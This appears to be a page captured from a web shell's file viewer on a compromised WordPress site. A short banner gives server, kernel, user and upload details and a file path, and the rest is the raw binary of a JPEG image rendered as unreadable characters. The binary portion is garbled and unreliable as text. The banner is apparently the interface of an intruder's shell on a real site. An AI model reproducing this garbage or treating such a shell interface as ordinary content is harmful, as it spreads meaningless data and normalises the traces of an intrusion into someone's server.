HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux ns3133907 6.8.0-86-generic #87-Ubuntu SMP PREEMPT_DYNAMIC Mon Sep 22 18:03:36 UTC 2025 x86_64
User: cssnetorguk (1024)
PHP: 8.2.28
Disabled: NONE
Upload Files
File: //home/qualitydent.co.uk/public_html/blog/wp-content/uploads/2011/08/sleep.jpg
���JFIF��C		

	


 "" $(4,$&1'-=-157:::#+?D?8C49:7��C




7%%77777777777777777777777777777777777777777777777777���"����:!1AQ"aq2��#R��BSbr���3C4�����%!1AQ"2B3a��?����k�y�Ndo��+���uC��m`ݳ�F�j������&��#���F����ډ=�q�G�ȏL��R�v��I�e��k�<uUv��,����-��J� 9�u �t�Q���V�5+��E�UtG�j[�EY-\�o��C�;4��dlzn���>ȹQ�6��bj�M�� �1�y,�֒O����C��;�JE��Ǩ]�X#bG#���&$#x�t#t�R�l�m�ƹ��H>��܌���b������7�ݽ�l�������n=�hw���8s����K΁�����vY�p�6;�k�+w['g� ۡ�%b������w0�/�Mm`>S�y�t��'��0,��f�q�j�Uja�?B�0
��F܈��	�G_�Vc��,nB����L̚ �t�ݫ��
��-=B�Xӻf�������z�[�������+A5ס��
;��u�Sj��t8۹>��F��hp+>v�ZГ`��j���Y��>˱K�i�Y}R��ޫE�2@Q��B̎B,�*��%�E:3�q��6��T�������y�N��.�kK3kc.FJ�Лf'���Iq84<8~��y�'j�
��I�:�#b��=,49��,cM�7*2�@���*p2g}��Lkl�����'��;zph�S��j�����	���_l[Я5��a��q2��i#2Dy=�ǸX�������؎��S�IZ�׺،Ñ���K33���Gb�ѯ�&V8�F�Q]P���#a�v�@ֵ�������,�!�Q�z�����0����Zh��D�� H�M=
i���Ȏ@�iS<x�j#��ǨH����'j��="��6��Uv��'~#t�;�B��i}�T����]��SC�wZ�fMi�s~_�Y����[�� #K���{^E�x�`���ا8^[���OE��0�"�E�����I�ب����(�Ƶ��7�X�7�7Ecp,�..�lǵzV�Q�s�\�S��;Vf���{H&�m�
�m����HI�-3; ܥ�:*E��;p��(��cd��*�ֵ�!�(C0`|ޡ��]�`[���qh����
�[y����@��{���u���h�2�]�l������jF��DMQ��DM���H���|�����V�M93%��mHO�[ {F���9����2AЁJ���PL�y��̜����qۡU��SyuJ�Gp�feN.���2��K_�����Ws�
��27�جVd�4�Kz�����M�m4i&}7tEzrD�@�Qx���f��;���b�z%e�|y�ۥ�Hۚ���DZ=���Q��j�$r���B�
|mM U���4����jޗ���a�7z�c�<wDu0��2'2��svG��v
�w�;�H��"�7ts=�6�)��:��w1�	G5��ῶ�T2b%�l����&� qk�� ��+�A��w/uL9h���Q�I�j�:����";X���|B	��c�O�Ǚ����\6��sgF>(�d-
ښ�א,r(r
��~�3A��R�n�z�C07e1�Ŗ)+<#�4����	���#e��EV*=L��ƫe?����d�ԎD�g4�3r����Š�τ4����6Q�
=Q4ӝW��=��"�,�=-n�S��(�v���-@��[^vc��ۿC�JA�l`�z*��M�c�L���l����ʿ1RUY�#<�$Յ���o{&����B��s�k��Z.,:-�B�4U�’跗u�.�g�+cm�
5�t#"7i�a�)��f�����l-茄t��zQ�&$�	!_���V�����6C�?
w0�+����j��́��c��Ez1�mlJ���ku�WzE��i�/�ER'א�<}��d��g[A�\w�8e���
�[�Q1�n�od6T��&�Eh�Om�ϢlK����tF��۫��
�����u�#H$�����h�I{$�D/O�0 ������1�-���5�Do��RCwh2W���l!��R�6!ށ�.��Q���u#�WB��^������d�3�ޢx��v#��OB����@�u��/s��I#���h�!�̢ބ-�49��@t�ˋ�_uH�Pݔ�!N'��\��p�\V�3<��#�湅��+7���>WK�t�H�|�6�X�s9��u�Y���hH�qP���3ɤ�[<>:{0n3Zt���w�fؠ�{lg�jN_M2��T�[һ�kh �+CAZV�iVH5&cp�P�b� 䆵����>��3�i�PQf8���Y�k� 
��aw��ߒY!�t���+@�m��Yd;�u��7�v�E�>��]��Q�e���1�:�=GD�ZL��}�"q;MP�I�#�ߵ�jLh!�L�Uu��NX�ɱ�F��r-���p�=��~�QC�@?��)ZES��x�7 sq��i�y��X�yœj	[+����� ?�����s:8R�4�5ƚ[���ћp#��k���`nkj]��6�u��l8�i/��l�4׺o壟tMT����ʎu�.D��`�Š� 
��˒S#5���q�v�_�p\�;��b�(vƽ�L�M��%u
��-\,_no�iqc,���{�q����&�\�nd�QK/+-�v�O�V�ڄ�v�^���pVt�ђ]�� p~"^�������s6�gF&��@��f�H�$u)�K�˺���0ۯ�N<��A����n��(/9�_#��UZ߈�tO'$���Cyy:�҃ ��u3H!�R��hX��z���hF��a�In'�h��G4P��\��P9,��y09ǰ���KU�z��7�3����L��;�g
t�%>�	��\w4��E�h��&L�ւM.�p>%�rӎ�p��}Fhl�mwp�i��t��4�#��M����>	�x�������݃��1򻼏?�^��E
����O�H��K�aa���aCw��&��T)(�uQ���i��3z@��<�k��-P>�+o�ؤ�3
�|x��)��>�i������4�fc�=y�J�	,����6Ou�k�7�$�y,�ֻإ����p?�-z�[\�A����x3����/Xab��Y�xh��fV4��զ�b�҅$-7b���y*M��1������K��|	��9�>;.��&�n��r����J�R>#����o���滉��[�Ldn��ֲb�h!����o�b�J��H�����gF,�.�'�$V�t�'m�N�%��A��\EXJ�[
��F��r�
�Z��g-��5�e���""�N��-��FD��&zQ6���b-��n�X�&���=݀^���(t��1��aŊ!��kG`z���<���1lc�2�b�q��!s�ֻ��9 J� �ةm�!h�k?��T�fƳ� � ���ڗ[)<�$P�@����!��UGd����&����Y�f�u@9�y���Ai�Q��ݭS��JJ|ɝf'4�d�����$‹5�r3H�������\����Ȏ��SY���C��.%[��:��a[I�\���Yq��*=���'��T�����ED����L[�Vs�����ED
.�B���<�w���B�m��ن�p��ѓ+���Acq	⍅��a�d�^�X*����y���W��)����ɡ�⯋�����gc�샏Ùn�q���O�D��3d��u�������`���1�k�0K|��&��r곣��E�
\3m�f?2�����H�60���Zy��'�Ewff�Ȉ�n�&�J�'�Fީwe�i��@�
��dp�6	�DP��kG�S`f2�dE���&b��?��=z0�Ѝ� ��Q�h"�b�p�HϚ=duq��"�1��kG���k���b�Š��n���
�Bm���n�%]8��|�B�l�����uY�>�M$�n��H�m#�3��B�B�\�	�dX$SG5�;�4��i�tX�1���n7z/`�u;&KAhw
%�3�`.��Rנy ���Gdwl������`'���?�+(��^:�nHcM�g�N���M=�����?�O��$0�+F���/37i'p���)y�9±2%266��t:��5��*Ki&^"۠�I�q Ɨhv	�#��fA�.���
�6�24�n�KQ�%�'/�.����o���øW�D;���zn�xv����O��-��AC��P�e�3�LP9vD����� 4P�">QIik7l�R^f�����D�U�"�O�:�H�PL^��z��`�ƻ�ME��07H��
�T���w����^\~�1�1�m
�"�*��$�"uw;"���o�nP;]�.��'�
e<�>•���w��(�SGt7O�=Ҡآ�S�\q� ��nՄ�V� �j��\�7!/&St�
�i�T�t�J~!�>TF;rS�n;�(E����5��u58(����*�Ը�R^Iiw�Qy%sY�YUtU32t��ȟ'Uﲆ�c���%e��g�c����~#�p�n�YI�ׇ���5rx�Hk���?���� �ov������so�П�ꎩni��]����諮�eE�	wP�]Rz��Li'�+�!���=����Н�)>ͼW���䝇�V6Ұ�bϒ|���v	�8 ;�'ѫT�����^,|ql�_s�RG�V�Q�+$�{E	C`�k�J����w1��Kb�/#�}�$��K����% $�0U��@�]��B�y�]= ��4,��:�(
�ɡ��>T�����&����Y}�#=��Z�m/��@���Ƌ�[O�L6H۳@���2H�@~�����W-C�8��!FC3~z�+����/+��ܶ�����a=R�c�A�S�KУȳ���̇�e�� v�w�3���S�[<NO��p��u�T��H��W��Wh)x�7���ƪ.�>�R8#3�Z>w/gK�z�������ت�G.;���}ױPz�B�r}<`�Zf+��
�)���n���K��|�~�~Q4z%�3���p�E�F�͡
ؐ���K��-yo�|�S�0P��/
�x�6��R�9������^T;G�{�K��B��'���,��|���R5^F7��d�K��z�|+�~b+�Y��.p�K��h����"�d��`����IT�#�^��>F
�]8Ym��������5i���\m���7�\���ˆ�,��zY-��:F�2�+:9���Hr?��Ű�NÞ�"e"ŭA��g;D@�Fo�RQq
OD�C�Ar�a)*��n3�Y��&c�\���?T�y��4	P�^�|3WA��5̪�ȇ�@���?��G�D��Ԯ����pQE���JR�.���\����8��j\�����JR��Z�)�R԰��sJ���sK{}*i@��M��W4�P���Ll?�4��E�0�ၟ�#Ҕ�A`DM�]����W4���!r�)p�����T@�Q:�����(�:�� TQEQ@���Q!EL�TQp��EJ� .@+�(�E@��TQ4QE��